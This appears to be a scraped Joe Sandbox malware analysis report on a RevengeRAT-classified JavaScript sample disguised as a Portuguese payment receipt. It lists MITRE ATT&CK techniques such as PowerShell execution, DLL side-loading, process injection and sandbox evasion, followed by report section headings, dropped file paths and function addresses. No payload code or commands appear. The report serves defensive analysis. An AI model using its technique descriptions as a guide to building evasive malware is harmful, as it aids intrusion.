Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report comprovante de pagamento.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RevengeRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1rgfjrx.rvg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nllkxrvf.vkw.psm1

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Windows Analysis Report
comprovante de pagamento.js

Function 00007FFD9B8B8D18 Relevance: 5.2, Strings: 3, Instructions: 1445
COMMON

Function 00007FFD9B8C4001 Relevance: .4, Instructions: 398
COMMON

Function 00007FFD9B8B94C5 Relevance: 1.8, APIs: 1, Instructions: 250
COMMON

Function 00007FFD9B8B46F2 Relevance: 1.7, APIs: 1, Instructions: 182
COMMON

Function 00007FFD9B8BFFFF Relevance: 1.6, APIs: 1, Instructions: 149
fileCOMMON

Function 00007FFD9B8B47A0 Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Function 00007FFD9B9816BD Relevance: .6, Instructions: 554
COMMON

Function 00007FFD9B983401 Relevance: .5, Instructions: 462
COMMON